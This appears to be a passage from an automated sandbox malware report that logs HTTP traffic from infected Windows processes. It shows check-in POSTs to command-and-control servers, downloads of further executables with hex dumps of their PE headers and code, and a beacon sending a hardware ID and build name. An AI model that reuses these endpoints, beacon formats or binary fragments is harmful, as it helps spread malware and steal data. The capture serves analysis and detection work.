Nov 19, 2024 01:02:39.962415934 CET	1236	IN	Data Raw: d9 4d b8 27 2b e8 c9 1d e7 a3 34 c9 b6 c7 bc 17 75 32 ef ce 99 ae 05 7f 79 7f 09 8c 34 2a 8a bb 6b bd c3 eb c3 c0 ae 49 7c 3c 03 9c ac 5c 5d aa a9 5f 06 bf 07 a3 a3 96 22 5f 07 3b 36 7b d3 1d 98 25 32 21 c9 72 4e f5 e0 78 2b 06 72 25 f7 7a a6 d7 Data Ascii: M'+4u2y4*kI\|<\]_"_;6{%2!rNx+r%zAZ@eH~P4I+0UNqwC4=?%':ork&l/6oZo548,[9f`HhSA4(\aqpp&He@f)]f3$U
Nov 19, 2024 01:02:39.962428093 CET	1236	IN	Data Raw: 7f 4c 7f 9d 58 a3 0c aa 99 30 18 57 8b 64 1b 6e 71 a3 2b 3f 39 9c ce 9c 25 6e 30 e0 f0 c4 1a d0 ea 93 ee 1e d1 70 84 fc f2 4f 00 a7 71 a2 8e 54 75 2a 26 23 8e a6 dd 7e 7f 9c b2 92 19 24 c6 c8 86 63 1b 1f aa a2 1a eb f3 14 fb 0e 13 97 cc 54 d9 cb Data Ascii: LX0Wdnq+?9%n0pOqTu&#~$cTn"TEjz~$%"KqE9n7z8E+oY#?1w{ITg#+Q,Kn7C-+h.N-m5sbZ&&t]OVqT(&CnFt8
Nov 19, 2024 01:02:39.962438107 CET	1236	IN	Data Raw: 80 26 86 81 f4 93 b5 ae 2b 95 ba fd 46 bc 28 fd 39 e4 cb 22 c1 ce ad 82 f9 31 63 22 fa 5d ae 66 7f f4 85 f4 c8 26 cc e3 29 31 02 53 8f 98 65 25 d1 27 1c 8a ee a2 14 93 a4 a4 18 5b 2b c8 7e f2 0f ce 0e 9f f0 a2 1a 9f f1 90 c6 a5 8e 2e 03 7f ed a2 Data Ascii: &+F(9"1c"]f&)1Se%'[+~.H0K91%5Z$zTm,/'D +"cZ^*U\|UT+&rUUt:D-:&"+ 1L\|;+q F-t,WN!oA-G^qR#VC6%oc"
Nov 19, 2024 01:02:39.962450027 CET	984	IN	Data Raw: f1 c4 62 6b 95 f2 04 ac 4e 4c 02 21 15 6e 4e 9b 8d 3c 27 95 4d 34 87 20 b1 5c fb 6e 8a 16 29 93 d5 bf 26 1d 7f fc cb 25 ed 72 89 f5 e0 b4 2c 01 2b 6c 2b 3c 91 5d 2c 1f 9f 5b 0e 21 aa 2a 1c 62 7a a0 c6 78 71 a2 c2 54 15 24 26 08 8e a6 59 36 7f 9c Data Ascii: bkNL!nN<'M4 \n)&%r,+l+<],[!*bzxqT$&Y6o#5t R{V] {f\|D:"`J#@^Tk4>N!JzN,n~VTLL#j=KirOxr y BZ;)!+%\|UW>
Nov 19, 2024 01:02:39.967648983 CET	1236	IN	Data Raw: 4d 50 18 55 21 cb 4a 22 1d 7b 2b 59 9b 3c 42 25 bd a4 46 75 5a b4 1b 3d 64 bb d0 15 7f 8c ca 24 e9 2f cc f4 5b 31 d3 f4 9a 6c 62 55 f2 fc 01 1e f4 9b 1f 77 2a 7c c6 54 75 70 83 c3 2c ad 1b 37 2b cb 4a 1e 9d 26 9b e9 ed cc cd 58 e9 3b 1b 47 f4 cb Data Ascii: MPU!J"{+Y<B%FuZ=d$/[1lbUw*\|Tup,7+J&X;GI-A<-%;q"CWw[T+o;zyp}& $IR U$#^q\.,1$b"3P=03.M:} R&p~nR+#'0130?1Q"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50143	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:56.592364073 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007275001&unit=246122658369
Nov 19, 2024 01:02:57.518996000 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50144	185.215.113.16	80	8376	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:56.878252029 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 01:02:57.831435919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:57 GMT Content-Type: application/octet-stream Content-Length: 2819584 Last-Modified: Mon, 18 Nov 2024 23:54:15 GMT Connection: keep-alive ETag: "673bd3a7-2b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@ogtxsohc*:@iyarjevt `+@.taggant@+"*@
Nov 19, 2024 01:02:57.831496000 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831558943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831633091 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831671953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831707954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831741095 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831796885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831845045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.831890106 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:57.836997986 CET	1236	IN	Data Raw: 1e ab ed c2 60 ae 45 a7 7e 71 f9 5d 7e 5b 24 21 e4 ea 68 48 7d b2 f3 04 cd d2 24 00 d5 41 eb 01 3c 0a f6 19 3f ca f5 a9 f5 c0 f2 24 fa 6f 02 13 56 c7 eb 11 ce cf 60 6a d3 d4 de 22 ee 49 e3 37 83 b3 ea 3b 5b 10 ec 00 e4 ff e9 78 d4 35 47 2b 80 4c Data Ascii: `E~q]~[$!hH}$A<?$oV`j"I7;[x5G+LQA=J<7(q['1+-:[R?uuKh!A`~'\t4XX#>1;=)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50145	185.215.113.206	80	7312	C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:57.143665075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:02:58.049650908 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:02:58.052747011 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"11536DE6B591922063497------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Nov 19, 2024 01:02:59.211059093 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 19, 2024 01:02:59.212093115 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 19, 2024 01:02:59.212178946 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 19, 2024 01:02:59.212857008 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50146	185.215.113.16	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:57.529364109 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 01:02:59.211447001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:58 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Mon, 18 Nov 2024 23:53:46 GMT Connection: keep-alive ETag: "673bd38a-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL;g"bw@pu@@@d\|@Xu4@.text `.rdata@@.datalpH@.rsrcX@@@.relocuv@B
Nov 19, 2024 01:02:59.211479902 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 19, 2024 01:02:59.211556911 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 19, 2024 01:02:59.211590052 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 19, 2024 01:02:59.211663961 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 19, 2024 01:02:59.211698055 CET	636	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Nov 19, 2024 01:02:59.211771965 CET	1236	IN	Data Raw: 00 00 33 c0 5f 5e 5b c9 c3 6a 69 58 e9 6c 06 04 00 55 8b ec 83 ec 3c 53 56 89 4d fc 8d 4d c8 57 e8 c2 07 00 00 8b 7d 0c 33 c0 c7 45 c8 02 00 00 00 8b c8 8a d8 8b 37 4e 89 75 0c 89 75 cc 33 f6 8b 17 52 8d 42 01 89 07 e8 33 06 00 00 85 c0 74 26 84 Data Ascii: 3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@M_^[IAUSV3PF3uMMWMU]MMMMEE
Nov 19, 2024 01:02:59.211812973 CET	1236	IN	Data Raw: 00 83 e8 01 0f 84 72 03 04 00 8b 55 f8 8b 5d fc 83 e8 05 0f 85 a7 fc ff ff e9 d3 fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d4 03 04 00 83 7d f4 00 0f 85 82 fc ff ff e9 db 03 04 00 8b 41 04 6a 7f 59 66 39 48 08 0f 85 d8 03 04 00 ff 45 f0 8d 45 Data Ascii: rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}U]/EHOxE}Ex\|E
Nov 19, 2024 01:02:59.211879015 CET	424	IN	Data Raw: 24 3c 00 01 00 50 68 ff 7f 00 00 ff 35 18 14 4d 00 ff 15 68 c3 49 00 ff 74 24 14 b9 f0 13 4d 00 e8 59 40 00 00 8a 5c 24 11 ff 35 00 14 4d 00 68 18 14 4d 00 e8 be f1 ff ff 85 c0 0f 85 61 00 04 00 80 7c 24 12 01 0f 84 73 00 04 00 e8 59 00 00 00 e8 Data Ascii: $<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh
Nov 19, 2024 01:02:59.211910963 CET	1236	IN	Data Raw: 00 50 50 68 00 00 cf 00 b8 c8 c9 49 00 50 50 57 ff d6 57 ff 35 58 13 4d 00 a3 8c 13 4d 00 6a 01 50 57 57 57 57 68 c4 08 b0 50 57 68 a0 c9 49 00 57 ff d6 8b 35 28 c7 49 00 57 ff 35 8c 13 4d 00 a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e Data Ascii: PPhIPPWW5XMMjPWWWWhPWhIW5(IW5MMW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjI
Nov 19, 2024 01:02:59.211985111 CET	1236	IN	Data Raw: c3 55 8b ec ff 75 14 8b 55 0c ff 75 10 8b 4d 08 e8 06 00 00 00 59 59 5d c2 10 00 55 8b ec 83 e4 f8 51 a1 8c 13 4d 00 53 56 8b f1 57 8b fa 3b f0 75 5e 83 ff 11 76 5f 8b c7 2d 82 00 00 00 0f 84 cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 Data Ascii: UuUuMYY]UQMSVW;u^v_--H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%Mu
Nov 19, 2024 01:02:59.212143898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:58 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Mon, 18 Nov 2024 23:53:46 GMT Connection: keep-alive ETag: "673bd38a-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL;g"bw@pu@@@d\|@Xu4@.text `.rdata@@.datalpH@.rsrcX@@@.relocuv@B
Nov 19, 2024 01:02:59.212822914 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:58 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Mon, 18 Nov 2024 23:53:46 GMT Connection: keep-alive ETag: "673bd38a-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 82 d3 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL;g"bw@pu@@@d\|@Xu4@.text `.rdata@@.datalpH@.rsrcX@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50149	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:01.996068001 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007276001&unit=246122658369
Nov 19, 2024 01:03:02.920309067 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50150	185.215.113.16	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:02.962124109 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 01:03:03.881650925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:03 GMT Content-Type: application/octet-stream Content-Length: 2819584 Last-Modified: Mon, 18 Nov 2024 23:54:13 GMT Connection: keep-alive ETag: "673bd3a5-2b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 